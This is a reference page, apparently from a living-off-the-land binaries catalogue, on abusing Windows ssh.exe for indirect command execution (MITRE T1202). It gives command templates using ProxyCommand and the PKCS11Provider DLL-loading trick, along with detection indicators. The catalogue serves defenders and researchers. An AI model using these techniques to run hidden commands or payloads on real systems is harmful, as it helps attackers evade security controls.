01 / TRADECRAFT
3 examplesCommand reference
Execute3
EXAMPLE 01T1202
Executes specified command on host machine. The prompt for password can be eliminated by adding the host's public key in the user's authorized_keys file. Adversaries can do the same for execution on remote machines.
COMMAND
ssh localhost "{CMD}"EXAMPLE 02T1202
Executes specified command from ssh.exe
COMMAND
ssh -o ProxyCommand="{CMD}" .EXAMPLE 03T1202
Executes a DLL from an SMB share by abusing the PKCS11Provider option. The payload executes upon DLL load (DllMain) and requires exporting C_GetFunctionList to prevent premature termination by `ssh.exe`. Note that all backslashes should be escaped (i.e. every `\` should be turned into `\\`).
COMMAND
ssh -o PKCS11Provider="\\\\127.0.0.1\\Temp\\example.dll" win@github.com02 / ON DISK
Known paths
c:\windows\system32\OpenSSH\ssh.exe03 / DEFENSIVE INTELLIGENCE
1 resourcesDetection & indicators
Indicators & detection notes
- IOC
Event ID 4624 with process name C:\Windows\System32\OpenSSH\sshd.exe.
- IOC
command line arguments specifying execution.
REFERENCE IMPLEMENTATIONS
Code samples
FURTHER READING
Research & resources
COMMUNITY RESEARCH
Acknowledgements
Akshat Pradhan
Felix Boulet
Edo Maland